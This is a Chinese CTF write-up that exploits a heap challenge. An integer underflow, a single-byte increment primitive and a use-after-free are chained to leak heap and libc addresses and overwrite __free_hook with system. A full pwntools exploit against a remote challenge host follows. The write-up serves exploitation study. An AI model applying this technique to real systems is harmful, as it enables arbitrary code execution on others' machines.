题目概述

本题是一道经典的堆漏洞综合利用题目,同时存在整数下溢、Off-by-one、UAF(Use After Free)三个核心漏洞 ,程序分为老师端 和学生端双角色模式,我们需要通过角色切换,串联三类漏洞完成堆重叠、地址泄露、hook 劫持,最终 getshell 获取 flag。
核心利用链:unsorted bin 堆重叠 → 劫持学生结构体 → 覆写__free_hook为system → 执行命令拿flag
一、程序功能与漏洞分析
1. 程序双角色设计

程序分为老师端 和学生端,所有学生数据、评语数据均存储在堆上,角色可自由切换,是漏洞利用的关键操作前提。
2. 老师端核心功能(含漏洞点)
老师端是堆内存操作的核心入口,包含 5 个关键函数:
sub_1424(分配学生) 底层连续调用两次calloc:v2(0x20) + v3(0x18),对应堆上MAIN(0x30)和SUB(0x20)两个块。✅ 特性 :每添加 1 个学生,固定消耗0x50堆空间,评语指针(comment_ptr)存储在 SUB 块 + 8 偏移处。

sub_1538(随机打分) 随机为学生赋值,检测学生是否执行pray操作:✅ 漏洞触发点 :若pray_flag == 1,分数直接减 10,为整数下溢埋下伏笔。

sub_1691(首次写评语) 输入学生 ID + 评语大小 → calloc分配堆块 → 写入评语内容。

sub_1875(叫家长 / 删除学生) 满足三次条件后删除学生,执行free释放堆块。✅ 漏洞点 :释放后未清空指针,UAF(释放后重用)漏洞。

**sub_1E62(切换模式)**实现老师端 / 学生端自由切换。
3. 学生端核心功能(含漏洞点)
学生端依赖老师分配学生,分数由老师制定,核心漏洞集中在查评语功能:
-
sub_1C58(查评语 / 触发彩蛋)
- 无符号比较绕过 :判断逻辑
if(分数 > 0x59u)(无符号大于 89),整数下溢后分数会变成超大正数,直接绕过检查。 - 彩蛋奖励 :① 泄露 MAIN 块堆地址(堆泄露);② 允许输入地址执行单字节 + 1(Off-by-one 漏洞)。
- 无符号比较绕过 :判断逻辑
-

-
整数下溢漏洞 分数为 32 位有符号整数,初始 0-9 分,减 10 后必然为负数,存入堆内存时转换为
0xFFFFFFF6这类超大无符号正数,完美绕过分数检查。 -
Off-by-one 漏洞 彩蛋功能支持任意地址单字节 + 1,可篡改指针偏移,实现堆块地址劫持。
二、漏洞利用思路(完整版)
- 基础铺垫:创建 5 个学生,为指定学生分配大尺寸评语(超出 tcache 范围,确保 free 后进入 unsorted bin);
- 触发整数下溢:学生祈祷 → 老师打分减 10 → 分数下溢为超大正数;
- 触发彩蛋:泄露堆基址,利用 Off-by-one 篡改评语指针,指向目标堆块头部;
- 堆重叠构造:编辑评语伪造堆块 size,free 后形成 unsorted bin 重叠,泄露 libc 地址;
- 劫持结构体:新建学生,从 unsorted bin 分配内存,覆写学生结构体,将评语指针指向
__free_hook; - 拿 flag:将
__free_hook覆写为system,创建评语写入命令,free 触发system执行。
三、EXP 代码详解
1. 函数封装(操作标准化)
我们先封装所有高频操作,简化后续利用代码:
python
运行
def teacher_add_student(qs): # 老师:添加学生
def teacher_give_score(): # 老师:打分(触发下溢)
def teacher_write_review_new(): # 老师:新建评语(分配堆)
def teacher_write_review_edit(): # 老师:编辑评语(写内存)
def teacher_call_parent(idx): # 老师:删学生(free 堆)
def change_role(role): # 切换角色(0老师/1学生)
def student_change_id(idx): # 学生:切换ID
def student_pray(): # 学生:祈祷(打标记)
2. 分步利用逻辑
(1)初始化环境,创建学生
切换老师模式,创建 5 个学生,分配基础堆块:
python
运行
p.sendlineafter(b"role: <0.teacher/1.student>: ", b"0")
# 创建5个学生,分配5组MAIN+SUB堆块
for _ in range(5):
teacher_add_student(1)
(2)分配评语,构造 unsorted bin 条件
为学生分配不同大小评语:
- 学生 1/4:小尺寸,用于隔离 top chunk,保持已分配状态;
- 学生 2/3:1023 字节 → 生成
0x410大堆块,超出 tcache 范围,free 后直接进入 unsorted bin。
python
运行
teacher_write_review_new(1, 256, b"A"*256)
teacher_write_review_new(2, 1023, b"B"*1023)
teacher_write_review_new(3, 1023, b"C"*1023)
teacher_write_review_new(4, 24, b"D"*24)
(3)触发整数下溢
学生 0 祈祷 → 老师打分减 10 → 0-10 = 负数 → 堆中存储为超大无符号数:
python
运行
change_role(1) # 切到学生模式
student_change_id(0) # 选中学生0
student_pray() # 标记祈祷
change_role(0) # 切回老师
teacher_give_score() # 触发分数下溢
(4)触发彩蛋,泄露堆地址
查看学生 0 评语,触发奖励,获取 MAIN 块堆地址:
python
运行
change_role(1)
student_change_id(0)
p.sendlineafter(b"choice>> ", b"2") # 触发彩蛋
# 接收并解析堆泄露地址
p.recvuntil(b"Good Job! Here is your reward! ")
leak = int(p.recvline().strip(), 16)
log.success(f"Heap leak: {hex(leak)}")
(5)Off-by-one 篡改指针,伪造堆块
利用彩蛋的单字节 + 1 功能,修改学生 1 的评语指针,指向学生 2 堆块头部,伪造大堆块大小:
python
运行
# 目标地址:学生1的comment_ptr第二字节
addr_to_inc = leak + 0x89
p.sendafter(b"add 1 to wherever you want! addr: ", f"{addr_to_inc} \n".encode())
# 编辑学生1评语,写入伪造size=0x821(学生2+3合并大小)
change_role(0)
payload = p64(0) + p64(0x821)
payload = payload.ljust(256, b'\x00')
teacher_write_review_edit(1, payload)
# free学生2,伪造堆块进入unsorted bin
teacher_call_parent(2)
(6)泄露 libc 基址
读取 unsorted bin 的 fd 指针,计算 libc 基地址:
python
运行
change_role(1)
student_change_id(1)
p.sendlineafter(b"choice>> ", b"2")
p.recvuntil(b"here is the review:\n")
review = p.recv(256, timeout=5)
# 解析libc地址
main_arena_unsorted = u64(review[16:24])
libc.address = main_arena_unsorted - (libc.sym['__malloc_hook'] + 0x70)
log.success(f"Libc base: {hex(libc.address)}")
(7)劫持结构体,覆写__free_hook
新建学生,从 unsorted bin 分配内存,覆写结构体,将评语指针指向__free_hook:
python
运行
change_role(0)
teacher_add_student(1) # 从unsorted bin切割内存
# 构造payload:修复堆头 + 劫持comment_ptr到__free_hook
payload = b""
payload += p64(0) + p64(0x31)
payload += p64(leak + 0x2D0) + p64(0)*3
payload += p64(0x21) + p64(0)
payload += p64(libc.sym['__free_hook']) # 核心:劫持指针
payload += p32(0x100) + p32(0)
payload += p64(0x7D1) + p64(main_arena_unsorted)*2
payload = payload.ljust(256, b'\x00')
teacher_write_review_edit(1, payload)
(8)执行命令,获取 flag
将__free_hook覆写为system,创建评语写入命令,free 触发执行:
python
运行
# 覆写__free_hook = system
payload = p64(libc.sym['system']).ljust(0x100, b'\x00')
teacher_write_review_edit(4, payload)
# 写入命令,free触发system
teacher_add_student(1)
cmd = b"cat /flag*\x00".ljust(32, b'\x00')
teacher_write_review_new(5, 32, cmd)
teacher_call_parent(5)
四、完整可运行 EXP
python
运行
#!/usr/bin/env python3
from pwn import *
# 环境配置
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'
elf = ELF('./attachment-35')
libc = ELF('./attachment-35.so')
p = remote('39.96.193.120', 10008)
# ====================== 功能函数封装 ======================
def teacher_add_student(qs):
p.sendlineafter(b"choice>> ", b"1")
p.sendlineafter(b"enter the number of questions: ", str(qs).encode())
def teacher_give_score():
p.sendlineafter(b"choice>> ", b"2")
def teacher_write_review_new(idx, size, content):
p.sendlineafter(b"choice>> ", b"3")
p.sendlineafter(b"which one? > ", str(idx).encode())
p.sendlineafter(b"please input the size of comment: ", str(size).encode())
p.sendafter(b"enter your comment:\n", content)
def teacher_write_review_edit(idx, content):
p.sendlineafter(b"choice>> ", b"3")
p.sendlineafter(b"which one? > ", str(idx).encode())
p.sendafter(b"enter your comment:\n", content)
def teacher_call_parent(idx):
p.sendlineafter(b"choice>> ", b"4")
p.sendlineafter(b"which student id to choose?\n", str(idx).encode())
def change_role(role):
p.sendlineafter(b"choice>> ", b"5")
p.sendlineafter(b"role: <0.teacher/1.student>: ", str(role).encode())
def student_change_id(idx):
p.sendlineafter(b"choice>> ", b"6")
p.sendlineafter(b"input your id: ", str(idx).encode())
def student_pray():
p.sendlineafter(b"choice>> ", b"3")
# ====================== 漏洞利用主逻辑 ======================
def exploit():
# 1. 切换老师模式,创建5个学生
p.sendlineafter(b"role: <0.teacher/1.student>: ", b"0")
for _ in range(5):
teacher_add_student(1)
# 2. 分配评语,构造unsorted bin条件
teacher_write_review_new(1, 256, b"A" * 256)
teacher_write_review_new(2, 1023, b"B" * 1023)
teacher_write_review_new(3, 1023, b"C" * 1023)
teacher_write_review_new(4, 24, b"D" * 24)
# 3. 触发整数下溢
change_role(1)
student_change_id(0)
student_pray()
change_role(0)
teacher_give_score()
# 4. 触发彩蛋,泄露堆地址
change_role(1)
student_change_id(0)
p.sendlineafter(b"choice>> ", b"2")
p.recvuntil(b"Good Job! Here is your reward! ")
leak = int(p.recvline().strip(), 16)
log.success(f"Heap leak: {hex(leak)}")
# 5. Off-by-one篡改指针
addr_to_inc = leak + 0x89
p.sendafter(b"add 1 to wherever you want! addr: ", f"{addr_to_inc} \n".encode())
p.recvuntil(b"no reviewing yet!\n")
# 6. 伪造堆块,free进入unsorted bin
change_role(0)
payload = p64(0) + p64(0x821)
payload = payload.ljust(256, b'\x00')
teacher_write_review_edit(1, payload)
teacher_call_parent(2)
# 7. 泄露libc基址
change_role(1)
student_change_id(1)
p.sendlineafter(b"choice>> ", b"2")
p.recvuntil(b"here is the review:\n")
review = p.recv(256, timeout=5)
main_arena_unsorted = u64(review[16:24])
libc.address = main_arena_unsorted - (libc.sym['__malloc_hook'] + 0x70)
log.success(f"Libc base: {hex(libc.address)}")
# 8. 新建学生,劫持结构体
change_role(0)
teacher_add_student(1)
payload = b""
payload += p64(0) + p64(0x31)
payload += p64(leak + 0x2D0) + p64(0)*3
payload += p64(0x21) + p64(0)
payload += p64(libc.sym['__free_hook'])
payload += p32(0x100) + p32(0)
payload += p64(0x7D1) + p64(main_arena_unsorted)*2
payload = payload.ljust(256, b'\x00')
teacher_write_review_edit(1, payload)
# 9. 覆写__free_hook,执行命令拿flag
payload = p64(libc.sym['system']).ljust(0x100, b'\x00')
teacher_write_review_edit(4, payload)
teacher_add_student(1)
cmd = b"cat /flag*\x00".ljust(32, b'\x00')
teacher_write_review_new(5, 32, cmd)
teacher_call_parent(5)
# 接收结果
log.success("Exploit 执行完成!")
try:
output = p.recvrepeat(3)
log.success(f"Flag: {output.decode()}")
except:
pass
p.interactive()
if __name__ == "__main__":
exploit()